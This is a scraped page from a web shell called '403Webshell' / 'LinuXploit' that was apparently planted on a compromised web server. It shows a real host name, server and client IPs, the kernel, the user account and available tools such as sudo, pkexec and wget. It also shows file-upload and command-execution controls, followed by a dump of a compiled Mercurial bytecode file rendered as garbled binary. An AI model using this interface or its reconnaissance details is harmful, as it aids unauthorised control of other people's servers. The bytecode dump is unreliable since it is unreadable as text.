403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/__pycache__/commitextras.cpython-39.pyc
a

�+�b�	�@sndZddlmZddlZddlmZddlmZmZm	Z	m
Z
mZiZe
�
e�Z
dZhd�Zdd	�Zd
d�ZdS)z+adds a new flag extras to commit (ADVANCED)�)�absolute_importN)�_)�commands�error�
extensions�	registrar�utilsships-with-hg-core>
stransplant_sources
rebase_sourcessourcesclosestopicsintermediate-sources__touch-noise__sbranchsamend_sourceshistedit_sourcecCs8t�tjdt�}|d}|�ddgtd�td�f�dS)Nscommit��sextrasset a changeset's extra valuess	KEY=VALUE)rZwrapcommandr�table�_commit�appendr)�ui�entry�options�r�8/usr/lib64/python3.9/site-packages/hgext/commitextras.py�extsetup)s��rcsJt�|d�r|��}G��fdd�d|j���|_|||g|�Ri���S)N�
unfilteredcs eZdZ���fdd�Z�ZS)z_commit.<locals>.repoextracs���d�}|D]�}d|vr0td�}t�||��|�dd�\}}|sZtd�}t�||��t�d|�rxtd�}t�|��|tvr�td�}t�||��||d|<qt�|�j	|i|��S)	NZextra�=s4unable to parse '%s', should follow KEY=VALUE formatr	s)unable to parse '%s', keys can't be emptys[^\w-]s8keys can only contain ascii letters, digits, '_' and '-'s2key '%s' is used internally, can't be set manually)
�getrrZ
InputError�split�re�search�usedinternally�super�commit)�selfZ	innerpatsZ	inneropts�extras�raw�msg�k�v)�	__class__�opts�	repoextrarrr<s.
��
�z!_commit.<locals>.repoextra.commit)�__name__�
__module__�__qualname__r�
__classcell__r�r$r%)r#rr%;sr%)rZsafehasattrrr#)ZorigrZrepoZpatsr$rr*rr7s
r)�__doc__Z
__future__rrZmercurial.i18nrZ	mercurialrrrrrZcmdtableZcommandZ
testedwithrrrrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit